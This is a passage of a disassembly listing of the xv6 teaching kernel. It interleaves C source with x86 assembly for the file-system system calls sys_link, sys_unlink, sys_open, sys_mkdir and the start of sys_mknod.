0x0(%edi,%eiz,1),%edi 80104fe0 <sys_link>: // Create the path new as a link to the same inode as old. int sys_link(void) { 80104fe0: 55 push %ebp 80104fe1: 89 e5 mov %esp,%ebp 80104fe3: 57 push %edi 80104fe4: 56 push %esi 80104fe5: 53 push %ebx char name[DIRSIZ], *new, *old; struct inode *dp, *ip; if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104fe6: 8d 45 d4 lea -0x2c(%ebp),%eax } // Create the path new as a link to the same inode as old. int sys_link(void) { 80104fe9: 83 ec 34 sub $0x34,%esp char name[DIRSIZ], *new, *old; struct inode *dp, *ip; if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104fec: 50 push %eax 80104fed: 6a 00 push $0x0 80104fef: e8 5c fb ff ff call 80104b50 <argstr> 80104ff4: 83 c4 10 add $0x10,%esp 80104ff7: 85 c0 test %eax,%eax 80104ff9: 0f 88 fb 00 00 00 js 801050fa <sys_link+0x11a> 80104fff: 8d 45 d0 lea -0x30(%ebp),%eax 80105002: 83 ec 08 sub $0x8,%esp 80105005: 50 push %eax 80105006: 6a 01 push $0x1 80105008: e8 43 fb ff ff call 80104b50 <argstr> 8010500d: 83 c4 10 add $0x10,%esp 80105010: 85 c0 test %eax,%eax 80105012: 0f 88 e2 00 00 00 js 801050fa <sys_link+0x11a> return -1; begin_op(); 80105018: e8 23 db ff ff call 80102b40 <begin_op> if((ip = namei(old)) == 0){ 8010501d: 83 ec 0c sub $0xc,%esp 80105020: ff 75 d4 pushl -0x2c(%ebp) 80105023: e8 88 ce ff ff call 80101eb0 <namei> 80105028: 83 c4 10 add $0x10,%esp 8010502b: 85 c0 test %eax,%eax 8010502d: 89 c3 mov %eax,%ebx 8010502f: 0f 84 f3 00 00 00 je 80105128 <sys_link+0x148> end_op(); return -1; } ilock(ip); 80105035: 83 ec 0c sub $0xc,%esp 80105038: 50 push %eax 80105039: e8 22 c6 ff ff call 80101660 <ilock> if(ip->type == T_DIR){ 8010503e: 83 c4 10 add $0x10,%esp 80105041: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80105046: 0f 84 c4 00 00 00 je 80105110 <sys_link+0x130> iunlockput(ip); end_op(); return -1; } ip->nlink++; 8010504c: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(ip); 80105051: 83 ec 0c sub $0xc,%esp iunlock(ip); if((dp = nameiparent(new, name)) == 0) 80105054: 8d 7d da lea -0x26(%ebp),%edi end_op(); return -1; } ip->nlink++; iupdate(ip); 80105057: 53 push %ebx 80105058: e8 53 c5 ff ff call 801015b0 <iupdate> iunlock(ip); 8010505d: 89 1c 24 mov %ebx,(%esp) 80105060: e8 db c6 ff ff call 80101740 <iunlock> if((dp = nameiparent(new, name)) == 0) 80105065: 58 pop %eax 80105066: 5a pop %edx 80105067: 57 push %edi 80105068: ff 75 d0 pushl -0x30(%ebp) 8010506b: e8 60 ce ff ff call 80101ed0 <nameiparent> 80105070: 83 c4 10 add $0x10,%esp 80105073: 85 c0 test %eax,%eax 80105075: 89 c6 mov %eax,%esi 80105077: 74 5b je 801050d4 <sys_link+0xf4> goto bad; ilock(dp); 80105079: 83 ec 0c sub $0xc,%esp 8010507c: 50 push %eax 8010507d: e8 de c5 ff ff call 80101660 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80105082: 83 c4 10 add $0x10,%esp 80105085: 8b 03 mov (%ebx),%eax 80105087: 39 06 cmp %eax,(%esi) 80105089: 75 3d jne 801050c8 <sys_link+0xe8> 8010508b: 83 ec 04 sub $0x4,%esp 8010508e: ff 73 04 pushl 0x4(%ebx) 80105091: 57 push %edi 80105092: 56 push %esi 80105093: e8 58 cd ff ff call 80101df0 <dirlink> 80105098: 83 c4 10 add $0x10,%esp 8010509b: 85 c0 test %eax,%eax 8010509d: 78 29 js 801050c8 <sys_link+0xe8> iunlockput(dp); goto bad; } iunlockput(dp); 8010509f: 83 ec 0c sub $0xc,%esp 801050a2: 56 push %esi 801050a3: e8 48 c8 ff ff call 801018f0 <iunlockput> iput(ip); 801050a8: 89 1c 24 mov %ebx,(%esp) 801050ab: e8 e0 c6 ff ff call 80101790 <iput> end_op(); 801050b0: e8 fb da ff ff call 80102bb0 <end_op> return 0; 801050b5: 83 c4 10 add $0x10,%esp 801050b8: 31 c0 xor %eax,%eax ip->nlink--; iupdate(ip); iunlockput(ip); end_op(); return -1; } 801050ba: 8d 65 f4 lea -0xc(%ebp),%esp 801050bd: 5b pop %ebx 801050be: 5e pop %esi 801050bf: 5f pop %edi 801050c0: 5d pop %ebp 801050c1: c3 ret 801050c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if((dp = nameiparent(new, name)) == 0) goto bad; ilock(dp); if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ iunlockput(dp); 801050c8: 83 ec 0c sub $0xc,%esp 801050cb: 56 push %esi 801050cc: e8 1f c8 ff ff call 801018f0 <iunlockput> goto bad; 801050d1: 83 c4 10 add $0x10,%esp end_op(); return 0; bad: ilock(ip); 801050d4: 83 ec 0c sub $0xc,%esp 801050d7: 53 push %ebx 801050d8: e8 83 c5 ff ff call 80101660 <ilock> ip->nlink--; 801050dd: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 801050e2: 89 1c 24 mov %ebx,(%esp) 801050e5: e8 c6 c4 ff ff call 801015b0 <iupdate> iunlockput(ip); 801050ea: 89 1c 24 mov %ebx,(%esp) 801050ed: e8 fe c7 ff ff call 801018f0 <iunlockput> end_op(); 801050f2: e8 b9 da ff ff call 80102bb0 <end_op> return -1; 801050f7: 83 c4 10 add $0x10,%esp } 801050fa: 8d 65 f4 lea -0xc(%ebp),%esp ilock(ip); ip->nlink--; iupdate(ip); iunlockput(ip); end_op(); return -1; 801050fd: b8 ff ff ff ff mov $0xffffffff,%eax } 80105102: 5b pop %ebx 80105103: 5e pop %esi 80105104: 5f pop %edi 80105105: 5d pop %ebp 80105106: c3 ret 80105107: 89 f6 mov %esi,%esi 80105109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; } ilock(ip); if(ip->type == T_DIR){ iunlockput(ip); 80105110: 83 ec 0c sub $0xc,%esp 80105113: 53 push %ebx 80105114: e8 d7 c7 ff ff call 801018f0 <iunlockput> end_op(); 80105119: e8 92 da ff ff call 80102bb0 <end_op> return -1; 8010511e: 83 c4 10 add $0x10,%esp 80105121: b8 ff ff ff ff mov $0xffffffff,%eax 80105126: eb 92 jmp 801050ba <sys_link+0xda> if(argstr(0, &old) < 0 || argstr(1, &new) < 0) return -1; begin_op(); if((ip = namei(old)) == 0){ end_op(); 80105128: e8 83 da ff ff call 80102bb0 <end_op> return -1; 8010512d: b8 ff ff ff ff mov $0xffffffff,%eax 80105132: eb 86 jmp 801050ba <sys_link+0xda> 80105134: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010513a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80105140 <sys_unlink>: } //PAGEBREAK! int sys_unlink(void) { 80105140: 55 push %ebp 80105141: 89 e5 mov %esp,%ebp 80105143: 57 push %edi 80105144: 56 push %esi 80105145: 53 push %ebx struct inode *ip, *dp; struct dirent de; char name[DIRSIZ], *path; uint off; if(argstr(0, &path) < 0) 80105146: 8d 45 c0 lea -0x40(%ebp),%eax } //PAGEBREAK! int sys_unlink(void) { 80105149: 83 ec 54 sub $0x54,%esp struct inode *ip, *dp; struct dirent de; char name[DIRSIZ], *path; uint off; if(argstr(0, &path) < 0) 8010514c: 50 push %eax 8010514d: 6a 00 push $0x0 8010514f: e8 fc f9 ff ff call 80104b50 <argstr> 80105154: 83 c4 10 add $0x10,%esp 80105157: 85 c0 test %eax,%eax 80105159: 0f 88 82 01 00 00 js 801052e1 <sys_unlink+0x1a1> return -1; begin_op(); if((dp = nameiparent(path, name)) == 0){ 8010515f: 8d 5d ca lea -0x36(%ebp),%ebx uint off; if(argstr(0, &path) < 0) return -1; begin_op(); 80105162: e8 d9 d9 ff ff call 80102b40 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80105167: 83 ec 08 sub $0x8,%esp 8010516a: 53 push %ebx 8010516b: ff 75 c0 pushl -0x40(%ebp) 8010516e: e8 5d cd ff ff call 80101ed0 <nameiparent> 80105173: 83 c4 10 add $0x10,%esp 80105176: 85 c0 test %eax,%eax 80105178: 89 45 b4 mov %eax,-0x4c(%ebp) 8010517b: 0f 84 6a 01 00 00 je 801052eb <sys_unlink+0x1ab> end_op(); return -1; } ilock(dp); 80105181: 8b 75 b4 mov -0x4c(%ebp),%esi 80105184: 83 ec 0c sub $0xc,%esp 80105187: 56 push %esi 80105188: e8 d3 c4 ff ff call 80101660 <ilock> // Cannot unlink "." or "..". if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 8010518d: 58 pop %eax 8010518e: 5a pop %edx 8010518f: 68 84 7b 10 80 push $0x80107b84 80105194: 53 push %ebx 80105195: e8 d6 c9 ff ff call 80101b70 <namecmp> 8010519a: 83 c4 10 add $0x10,%esp 8010519d: 85 c0 test %eax,%eax 8010519f: 0f 84 fc 00 00 00 je 801052a1 <sys_unlink+0x161> 801051a5: 83 ec 08 sub $0x8,%esp 801051a8: 68 83 7b 10 80 push $0x80107b83 801051ad: 53 push %ebx 801051ae: e8 bd c9 ff ff call 80101b70 <namecmp> 801051b3: 83 c4 10 add $0x10,%esp 801051b6: 85 c0 test %eax,%eax 801051b8: 0f 84 e3 00 00 00 je 801052a1 <sys_unlink+0x161> goto bad; if((ip = dirlookup(dp, name, &off)) == 0) 801051be: 8d 45 c4 lea -0x3c(%ebp),%eax 801051c1: 83 ec 04 sub $0x4,%esp 801051c4: 50 push %eax 801051c5: 53 push %ebx 801051c6: 56 push %esi 801051c7: e8 c4 c9 ff ff call 80101b90 <dirlookup> 801051cc: 83 c4 10 add $0x10,%esp 801051cf: 85 c0 test %eax,%eax 801051d1: 89 c3 mov %eax,%ebx 801051d3: 0f 84 c8 00 00 00 je 801052a1 <sys_unlink+0x161> goto bad; ilock(ip); 801051d9: 83 ec 0c sub $0xc,%esp 801051dc: 50 push %eax 801051dd: e8 7e c4 ff ff call 80101660 <ilock> if(ip->nlink < 1) 801051e2: 83 c4 10 add $0x10,%esp 801051e5: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 801051ea: 0f 8e 24 01 00 00 jle 80105314 <sys_unlink+0x1d4> panic("unlink: nlink < 1"); if(ip->type == T_DIR && !isdirempty(ip)){ 801051f0: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 801051f5: 8d 75 d8 lea -0x28(%ebp),%esi 801051f8: 74 66 je 80105260 <sys_unlink+0x120> iunlockput(ip); goto bad; } memset(&de, 0, sizeof(de)); 801051fa: 83 ec 04 sub $0x4,%esp 801051fd: 6a 10 push $0x10 801051ff: 6a 00 push $0x0 80105201: 56 push %esi 80105202: e8 89 f5 ff ff call 80104790 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80105207: 6a 10 push $0x10 80105209: ff 75 c4 pushl -0x3c(%ebp) 8010520c: 56 push %esi 8010520d: ff 75 b4 pushl -0x4c(%ebp) 80105210: e8 2b c8 ff ff call 80101a40 <writei> 80105215: 83 c4 20 add $0x20,%esp 80105218: 83 f8 10 cmp $0x10,%eax 8010521b: 0f 85 e6 00 00 00 jne 80105307 <sys_unlink+0x1c7> panic("unlink: writei"); if(ip->type == T_DIR){ 80105221: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80105226: 0f 84 9c 00 00 00 je 801052c8 <sys_unlink+0x188> dp->nlink--; iupdate(dp); } iunlockput(dp); 8010522c: 83 ec 0c sub $0xc,%esp 8010522f: ff 75 b4 pushl -0x4c(%ebp) 80105232: e8 b9 c6 ff ff call 801018f0 <iunlockput> ip->nlink--; 80105237: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 8010523c: 89 1c 24 mov %ebx,(%esp) 8010523f: e8 6c c3 ff ff call 801015b0 <iupdate> iunlockput(ip); 80105244: 89 1c 24 mov %ebx,(%esp) 80105247: e8 a4 c6 ff ff call 801018f0 <iunlockput> end_op(); 8010524c: e8 5f d9 ff ff call 80102bb0 <end_op> return 0; 80105251: 83 c4 10 add $0x10,%esp 80105254: 31 c0 xor %eax,%eax bad: iunlockput(dp); end_op(); return -1; } 80105256: 8d 65 f4 lea -0xc(%ebp),%esp 80105259: 5b pop %ebx 8010525a: 5e pop %esi 8010525b: 5f pop %edi 8010525c: 5d pop %ebp 8010525d: c3 ret 8010525e: 66 90 xchg %ax,%ax isdirempty(struct inode *dp) { int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80105260: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80105264: 76 94 jbe 801051fa <sys_unlink+0xba> 80105266: bf 20 00 00 00 mov $0x20,%edi 8010526b: eb 0f jmp 8010527c <sys_unlink+0x13c> 8010526d: 8d 76 00 lea 0x0(%esi),%esi 80105270: 83 c7 10 add $0x10,%edi 80105273: 3b 7b 58 cmp 0x58(%ebx),%edi 80105276: 0f 83 7e ff ff ff jae 801051fa <sys_unlink+0xba> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 8010527c: 6a 10 push $0x10 8010527e: 57 push %edi 8010527f: 56 push %esi 80105280: 53 push %ebx 80105281: e8 ba c6 ff ff call 80101940 <readi> 80105286: 83 c4 10 add $0x10,%esp 80105289: 83 f8 10 cmp $0x10,%eax 8010528c: 75 6c jne 801052fa <sys_unlink+0x1ba> panic("isdirempty: readi"); if(de.inum != 0) 8010528e: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80105293: 74 db je 80105270 <sys_unlink+0x130> ilock(ip); if(ip->nlink < 1) panic("unlink: nlink < 1"); if(ip->type == T_DIR && !isdirempty(ip)){ iunlockput(ip); 80105295: 83 ec 0c sub $0xc,%esp 80105298: 53 push %ebx 80105299: e8 52 c6 ff ff call 801018f0 <iunlockput> goto bad; 8010529e: 83 c4 10 add $0x10,%esp end_op(); return 0; bad: iunlockput(dp); 801052a1: 83 ec 0c sub $0xc,%esp 801052a4: ff 75 b4 pushl -0x4c(%ebp) 801052a7: e8 44 c6 ff ff call 801018f0 <iunlockput> end_op(); 801052ac: e8 ff d8 ff ff call 80102bb0 <end_op> return -1; 801052b1: 83 c4 10 add $0x10,%esp } 801052b4: 8d 65 f4 lea -0xc(%ebp),%esp return 0; bad: iunlockput(dp); end_op(); return -1; 801052b7: b8 ff ff ff ff mov $0xffffffff,%eax } 801052bc: 5b pop %ebx 801052bd: 5e pop %esi 801052be: 5f pop %edi 801052bf: 5d pop %ebp 801052c0: c3 ret 801052c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi memset(&de, 0, sizeof(de)); if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("unlink: writei"); if(ip->type == T_DIR){ dp->nlink--; 801052c8: 8b 45 b4 mov -0x4c(%ebp),%eax iupdate(dp); 801052cb: 83 ec 0c sub $0xc,%esp memset(&de, 0, sizeof(de)); if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("unlink: writei"); if(ip->type == T_DIR){ dp->nlink--; 801052ce: 66 83 68 56 01 subw $0x1,0x56(%eax) iupdate(dp); 801052d3: 50 push %eax 801052d4: e8 d7 c2 ff ff call 801015b0 <iupdate> 801052d9: 83 c4 10 add $0x10,%esp 801052dc: e9 4b ff ff ff jmp 8010522c <sys_unlink+0xec> struct dirent de; char name[DIRSIZ], *path; uint off; if(argstr(0, &path) < 0) return -1; 801052e1: b8 ff ff ff ff mov $0xffffffff,%eax 801052e6: e9 6b ff ff ff jmp 80105256 <sys_unlink+0x116> begin_op(); if((dp = nameiparent(path, name)) == 0){ end_op(); 801052eb: e8 c0 d8 ff ff call 80102bb0 <end_op> return -1; 801052f0: b8 ff ff ff ff mov $0xffffffff,%eax 801052f5: e9 5c ff ff ff jmp 80105256 <sys_unlink+0x116> int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("isdirempty: readi"); 801052fa: 83 ec 0c sub $0xc,%esp 801052fd: 68 a8 7b 10 80 push $0x80107ba8 80105302: e8 69 b0 ff ff call 80100370 <panic> goto bad; } memset(&de, 0, sizeof(de)); if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("unlink: writei"); 80105307: 83 ec 0c sub $0xc,%esp 8010530a: 68 ba 7b 10 80 push $0x80107bba 8010530f: e8 5c b0 ff ff call 80100370 <panic> if((ip = dirlookup(dp, name, &off)) == 0) goto bad; ilock(ip); if(ip->nlink < 1) panic("unlink: nlink < 1"); 80105314: 83 ec 0c sub $0xc,%esp 80105317: 68 96 7b 10 80 push $0x80107b96 8010531c: e8 4f b0 ff ff call 80100370 <panic> 80105321: eb 0d jmp 80105330 <sys_open> 80105323: 90 nop 80105324: 90 nop 80105325: 90 nop 80105326: 90 nop 80105327: 90 nop 80105328: 90 nop 80105329: 90 nop 8010532a: 90 nop 8010532b: 90 nop 8010532c: 90 nop 8010532d: 90 nop 8010532e: 90 nop 8010532f: 90 nop 80105330 <sys_open>: return ip; } int sys_open(void) { 80105330: 55 push %ebp 80105331: 89 e5 mov %esp,%ebp 80105333: 57 push %edi 80105334: 56 push %esi 80105335: 53 push %ebx char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80105336: 8d 45 e0 lea -0x20(%ebp),%eax return ip; } int sys_open(void) { 80105339: 83 ec 24 sub $0x24,%esp char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 8010533c: 50 push %eax 8010533d: 6a 00 push $0x0 8010533f: e8 0c f8 ff ff call 80104b50 <argstr> 80105344: 83 c4 10 add $0x10,%esp 80105347: 85 c0 test %eax,%eax 80105349: 0f 88 9e 00 00 00 js 801053ed <sys_open+0xbd> 8010534f: 8d 45 e4 lea -0x1c(%ebp),%eax 80105352: 83 ec 08 sub $0x8,%esp 80105355: 50 push %eax 80105356: 6a 01 push $0x1 80105358: e8 43 f7 ff ff call 80104aa0 <argint> 8010535d: 83 c4 10 add $0x10,%esp 80105360: 85 c0 test %eax,%eax 80105362: 0f 88 85 00 00 00 js 801053ed <sys_open+0xbd> return -1; begin_op(); 80105368: e8 d3 d7 ff ff call 80102b40 <begin_op> if(omode & O_CREATE){ 8010536d: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 80105371: 0f 85 89 00 00 00 jne 80105400 <sys_open+0xd0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 80105377: 83 ec 0c sub $0xc,%esp 8010537a: ff 75 e0 pushl -0x20(%ebp) 8010537d: e8 2e cb ff ff call 80101eb0 <namei> 80105382: 83 c4 10 add $0x10,%esp 80105385: 85 c0 test %eax,%eax 80105387: 89 c6 mov %eax,%esi 80105389: 0f 84 8e 00 00 00 je 8010541d <sys_open+0xed> end_op(); return -1; } ilock(ip); 8010538f: 83 ec 0c sub $0xc,%esp 80105392: 50 push %eax 80105393: e8 c8 c2 ff ff call 80101660 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80105398: 83 c4 10 add $0x10,%esp 8010539b: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 801053a0: 0f 84 d2 00 00 00 je 80105478 <sys_open+0x148> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 801053a6: e8 c5 b9 ff ff call 80100d70 <filealloc> 801053ab: 85 c0 test %eax,%eax 801053ad: 89 c7 mov %eax,%edi 801053af: 74 2b je 801053dc <sys_open+0xac> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 801053b1: 31 db xor %ebx,%ebx // Takes over file reference from caller on success. static int fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); 801053b3: e8 f8 e3 ff ff call 801037b0 <myproc> 801053b8: 90 nop 801053b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ 801053c0: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 801053c4: 85 d2 test %edx,%edx 801053c6: 74 68 je 80105430 <sys_open+0x100> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 801053c8: 83 c3 01 add $0x1,%ebx 801053cb: 83 fb 10 cmp $0x10,%ebx 801053ce: 75 f0 jne 801053c0 <sys_open+0x90> } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ if(f) fileclose(f); 801053d0: 83 ec 0c sub $0xc,%esp 801053d3: 57 push %edi 801053d4: e8 57 ba ff ff call 80100e30 <fileclose> 801053d9: 83 c4 10 add $0x10,%esp iunlockput(ip); 801053dc: 83 ec 0c sub $0xc,%esp 801053df: 56 push %esi 801053e0: e8 0b c5 ff ff call 801018f0 <iunlockput> end_op(); 801053e5: e8 c6 d7 ff ff call 80102bb0 <end_op> return -1; 801053ea: 83 c4 10 add $0x10,%esp f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); f->writable = (omode & O_WRONLY) || (omode & O_RDWR); return fd; } 801053ed: 8d 65 f4 lea -0xc(%ebp),%esp if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ if(f) fileclose(f); iunlockput(ip); end_op(); return -1; 801053f0: b8 ff ff ff ff mov $0xffffffff,%eax f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); f->writable = (omode & O_WRONLY) || (omode & O_RDWR); return fd; } 801053f5: 5b pop %ebx 801053f6: 5e pop %esi 801053f7: 5f pop %edi 801053f8: 5d pop %ebp 801053f9: c3 ret 801053fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; begin_op(); if(omode & O_CREATE){ ip = create(path, T_FILE, 0, 0); 80105400: 83 ec 0c sub $0xc,%esp 80105403: 8b 45 e0 mov -0x20(%ebp),%eax 80105406: 31 c9 xor %ecx,%ecx 80105408: 6a 00 push $0x0 8010540a: ba 02 00 00 00 mov $0x2,%edx 8010540f: e8 dc f7 ff ff call 80104bf0 <create> if(ip == 0){ 80105414: 83 c4 10 add $0x10,%esp 80105417: 85 c0 test %eax,%eax return -1; begin_op(); if(omode & O_CREATE){ ip = create(path, T_FILE, 0, 0); 80105419: 89 c6 mov %eax,%esi if(ip == 0){ 8010541b: 75 89 jne 801053a6 <sys_open+0x76> end_op(); 8010541d: e8 8e d7 ff ff call 80102bb0 <end_op> return -1; 80105422: b8 ff ff ff ff mov $0xffffffff,%eax 80105427: eb 43 jmp 8010546c <sys_open+0x13c> 80105429: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105430: 83 ec 0c sub $0xc,%esp int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; 80105433: 89 7c 98 28 mov %edi,0x28(%eax,%ebx,4) fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105437: 56 push %esi 80105438: e8 03 c3 ff ff call 80101740 <iunlock> end_op(); 8010543d: e8 6e d7 ff ff call 80102bb0 <end_op> f->type = FD_INODE; 80105442: c7 07 02 00 00 00 movl $0x2,(%edi) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80105448: 8b 55 e4 mov -0x1c(%ebp),%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 8010544b: 83 c4 10 add $0x10,%esp } iunlock(ip); end_op(); f->type = FD_INODE; f->ip = ip; 8010544e: 89 77 10 mov %esi,0x10(%edi) f->off = 0; 80105451: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi) f->readable = !(omode & O_WRONLY); 80105458: 89 d0 mov %edx,%eax 8010545a: 83 e0 01 and $0x1,%eax 8010545d: 83 f0 01 xor $0x1,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105460: 83 e2 03 and $0x3,%edx end_op(); f->type = FD_INODE; f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80105463: 88 47 08 mov %al,0x8(%edi) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105466: 0f 95 47 09 setne 0x9(%edi) return fd; 8010546a: 89 d8 mov %ebx,%eax } 8010546c: 8d 65 f4 lea -0xc(%ebp),%esp 8010546f: 5b pop %ebx 80105470: 5e pop %esi 80105471: 5f pop %edi 80105472: 5d pop %ebp 80105473: c3 ret 80105474: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if((ip = namei(path)) == 0){ end_op(); return -1; } ilock(ip); if(ip->type == T_DIR && omode != O_RDONLY){ 80105478: 8b 4d e4 mov -0x1c(%ebp),%ecx 8010547b: 85 c9 test %ecx,%ecx 8010547d: 0f 84 23 ff ff ff je 801053a6 <sys_open+0x76> 80105483: e9 54 ff ff ff jmp 801053dc <sys_open+0xac> 80105488: 90 nop 80105489: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105490 <sys_mkdir>: return fd; } int sys_mkdir(void) { 80105490: 55 push %ebp 80105491: 89 e5 mov %esp,%ebp 80105493: 83 ec 18 sub $0x18,%esp char *path; struct inode *ip; begin_op(); 80105496: e8 a5 d6 ff ff call 80102b40 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 8010549b: 8d 45 f4 lea -0xc(%ebp),%eax 8010549e: 83 ec 08 sub $0x8,%esp 801054a1: 50 push %eax 801054a2: 6a 00 push $0x0 801054a4: e8 a7 f6 ff ff call 80104b50 <argstr> 801054a9: 83 c4 10 add $0x10,%esp 801054ac: 85 c0 test %eax,%eax 801054ae: 78 30 js 801054e0 <sys_mkdir+0x50> 801054b0: 83 ec 0c sub $0xc,%esp 801054b3: 8b 45 f4 mov -0xc(%ebp),%eax 801054b6: 31 c9 xor %ecx,%ecx 801054b8: 6a 00 push $0x0 801054ba: ba 01 00 00 00 mov $0x1,%edx 801054bf: e8 2c f7 ff ff call 80104bf0 <create> 801054c4: 83 c4 10 add $0x10,%esp 801054c7: 85 c0 test %eax,%eax 801054c9: 74 15 je 801054e0 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 801054cb: 83 ec 0c sub $0xc,%esp 801054ce: 50 push %eax 801054cf: e8 1c c4 ff ff call 801018f0 <iunlockput> end_op(); 801054d4: e8 d7 d6 ff ff call 80102bb0 <end_op> return 0; 801054d9: 83 c4 10 add $0x10,%esp 801054dc: 31 c0 xor %eax,%eax } 801054de: c9 leave 801054df: c3 ret char *path; struct inode *ip; begin_op(); if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ end_op(); 801054e0: e8 cb d6 ff ff call 80102bb0 <end_op> return -1; 801054e5: b8 ff ff ff ff mov $0xffffffff,%eax } iunlockput(ip); end_op(); return 0; } 801054ea: c9 leave 801054eb: c3 ret 801054ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801054f0 <sys_mknod>: int sys_mknod(void) { 801054f0: 55 push %ebp 801054f1: 89 e5 mov %esp,%ebp 801054f3: 83 ec 18 sub $0x18,%esp struct inode *ip; char *path; int major, minor; begin_op(); 801054f6: e8 45 d6 ff ff call 80102b40 <begin_op> if((argstr(0, &path)) < 0 || 801054fb: 8d 45 ec lea -0x14(%ebp),%eax 801054fe: 83 ec 08 sub $0x8,%esp 80105501: 50 push %eax 80105502: 6a 00 push $0x0 80105504: e8 47 f6 ff ff call 80104b50 <argstr> 80105509: 83 c4 10 add $0x10,%esp 8010550c: 85 c0 test %eax,%eax 8010550e: 78 60 js 80105570 <sys_mknod+0x80> argint(1, &major) < 0 || 80105510: 8d 45 f0 lea -0x10(%ebp),%eax 80105513: 83 ec 08 sub $0x8,%esp 80105516: 50 push %eax 80105517: 6a 01 push $0x1 80105519: e8 82 f5 ff ff call 80104aa0 <argint> struct inode *ip; char *path; int major, minor; begin_op(); if((argstr(0, &path)) < 0 || 8010551e: 83 c4 10 add $0x10,%esp 80105521: 85 c0 test %eax,%eax 80105523: 78 4b js 80105570 <sys_mknod+0x80> argint(1, &major) < 0 || argint(2, &minor) < 0 || 80105525: 8d 45 f4 lea -0xc(%ebp),%eax 80105528: 83 ec 08 sub $0x8,%esp 8010552b: 50 push %eax 8010552c: 6a 02 push $0x2 8010552e: e8 6d f5 ff ff call 80104aa0 <argint> char *path; int major, minor; begin_op(); if((argstr(0, &path)) < 0 || argint(1, &major) < 0 || 80105533: 83 c4 10 add $0x10,%esp 80105536: 85 c0 test %eax,%eax 80105538: 78 36 js 80105570 <sys_mknod+0x80> argint(2, &minor) < 0 || 8010553a: 0f bf 45 f4 movswl -0xc(%ebp),%eax 8010553e: 83 ec 0c sub $0xc,%esp 80105541: 0f bf 4d f0 movswl -0x10(%ebp),%ecx 80105545: ba 03 00 00 00 mov $0x3,%edx 8010554a: 50 push %eax 8010554b: 8b 45 ec mov -0x14(%ebp),%eax 8010554e: e8 9d f6 ff ff call 80104bf0 <create> 80105553: 83 c4 10 add $0x10,%esp 80105556: 85 c0 test %eax,%eax 80105558: 74 16 je 80105570 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ end_op(); return -1; } iunlockput(ip); 8010555a: 83 ec 0c sub $0xc,%esp 8010555d: 50 push %eax 8010555e: e8 8d c3 ff ff call 801018f0 <iunlockput> end_op(); 80105563: e8 48 d6 ff ff call 80102bb0 <end_op> return 0; 